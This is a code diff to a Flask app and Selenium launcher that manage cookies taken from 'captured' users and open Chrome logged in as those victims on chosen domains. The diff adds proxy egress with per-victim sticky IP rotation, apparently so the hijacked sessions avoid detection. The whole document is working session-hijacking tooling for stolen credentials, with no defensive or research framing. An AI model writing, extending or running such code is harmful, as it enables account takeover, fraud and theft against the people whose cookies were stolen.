diff --git a/app.py b/app.py
index f7bbd54..bd31bce 100644
--- a/app.py
+++ b/app.py
@@ -394,7 +394,17 @@ SESSIONS_PAGE = STYLE + r"""
👤 sessions for {{domain}}
← back
-{{sess|length}} user sessions (source files) hold {{total}} cookies for this domain. Each file = one captured user. Click JUMP to log in as that user.
+{{sess|length}} user sessions (source files) hold {{total}} cookies for this domain. Each file = one captured user. Pick an exit then JUMP.
+
| session (source file) | cookies | alive | |
{% for s in sess %}
@@ -402,16 +412,21 @@ SESSIONS_PAGE = STYLE + r"""{{s[0]}}
{{s[1]}} |
{{'✓ fresh' if s[2] else 'expired?'}} |
- JUMP IN → |
+ |
{% endfor %}
"""
+NORD_PROXIES = [("Tokyo", "10.30.20.154"), ("London", "10.30.20.71"), ("Sydney", "10.30.20.189")]
+
@app.route("/open")
def open_login():
domain = request.args.get("domain", "").strip()
srcfile = request.args.get("file", "").strip()
+ proxy_choice = request.args.get("proxy", "rotate").strip()
if not domain:
return redirect(url_for("index"))
stem = domain.strip(".")
@@ -419,15 +434,26 @@ def open_login():
if srcfile:
rows = c.execute("""SELECT domain, name, value, path, expiry, secure FROM cookies
WHERE domain LIKE ? AND source_file = ? LIMIT 4000""",
- ( "%" + stem + "%", srcfile)).fetchall()
+ ("%" + stem + "%", srcfile)).fetchall()
else:
rows = c.execute("""SELECT domain, name, value, path, expiry, secure FROM cookies
WHERE domain LIKE ? OR domain LIKE ? ORDER BY (domain = ?) DESC LIMIT 4000""",
- ( "%" + stem + "%", "%" + stem, domain)).fetchall()
+ ("%" + stem + "%", "%" + stem, domain)).fetchall()
c.close()
if not rows:
return redirect(url_for("index", msg=f"no cookies for {domain}" + (f" from {srcfile}" if srcfile else "")))
- payload = {"domain": domain, "cookies": [
+ # proxy selection: named exit or rotate by session-file hash for sticky-per-user IPs
+ import random
+ if proxy_choice == "rotate":
+ h = sum(ord(ch) for ch in (srcfile or domain))
+ proxy = f"http://{NORD_PROXIES[h % len(NORD_PROXIES)][1]}:3128"
+ label = NORD_PROXIES[h % len(NORD_PROXIES)][0] + " (auto)"
+ elif proxy_choice == "direct":
+ proxy, label = "", "direct (home IP)"
+ else:
+ proxy = f"http://{proxy_choice}:3128"
+ label = next((n for n, ip in NORD_PROXIES if ip == proxy_choice), proxy_choice)
+ payload = {"domain": domain, "proxy": proxy, "cookies": [
{"domain": r[0], "name": r[1], "value": r[2], "path": r[3],
"expiry": _safe_expiry(r[4]), "secure": str(r[5]).upper() == "TRUE"} for r in rows]}
try:
@@ -437,7 +463,8 @@ def open_login():
res = json.load(r)
if res.get("ok"):
return render_template_string(LAUNCH_PAGE, domain=domain, n=len(rows),
- token=res.get("token", ""), url=f"https://{stem}/")
+ token=res.get("token", ""), url=f"https://{stem}/",
+ srcfile=srcfile, proxy_label=label)
return redirect(url_for("index", msg=f"bridge error: {res.get('error')}"))
except Exception as e:
return redirect(url_for("index", msg=f"launcher bridge not reachable ({e})"))
@@ -446,7 +473,7 @@ LAUNCH_PAGE = STYLE + r"""
-Launching Chrome with {{n}} cookies… this page auto-refreshes; the screenshot appears below when the session is ready.
+Session {{srcfile or 'all'}} · {{n}} cookies · egress: {{proxy_label}}. Screenshot below when ready.
{% if token %}
{% endif %}
"""
diff --git a/launcher_bridge.py b/launcher_bridge.py
index 2fd24a9..3a5325d 100644
--- a/launcher_bridge.py
+++ b/launcher_bridge.py
@@ -31,10 +31,11 @@ class Handler(BaseHTTPRequestHandler):
data = json.loads(self.rfile.read(ln))
domain = data.get("domain", "")
cookies = data.get("cookies", [])
+ proxy = data.get("proxy", "") # e.g. "http://10.30.20.154:3128"
if not domain or not cookies:
self._json(400, {"ok": False, "error": "domain and cookies required"}); return
tok = "%s_%d" % (re.sub(r'[^a-z0-9]', '', domain.lower())[:20], int(time.time()))
- threading.Thread(target=launch, args=(domain, cookies, tok), daemon=True).start()
+ threading.Thread(target=launch, args=(domain, cookies, tok, proxy), daemon=True).start()
self._json(200, {"ok": True, "launched": len(cookies), "token": tok})
except Exception as e:
self._json(500, {"ok": False, "error": str(e)})
@@ -47,7 +48,7 @@ class Handler(BaseHTTPRequestHandler):
self.end_headers()
self.wfile.write(body)
-def launch(domain, cookies, tok):
+def launch(domain, cookies, tok, proxy=""):
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
opts = Options()
@@ -59,6 +60,8 @@ def launch(domain, cookies, tok):
opts.add_argument("--start-maximized")
opts.add_argument("--window-size=1440,900")
opts.add_argument("--disable-gpu")
+ if proxy:
+ opts.add_argument("--proxy-server=" + proxy)
from selenium.webdriver.chrome.service import Service
svc = Service(executable_path=os.path.join(SESSION_DIR, "..", "chromedriver.exe"))
driver = webdriver.Chrome(service=svc, options=opts)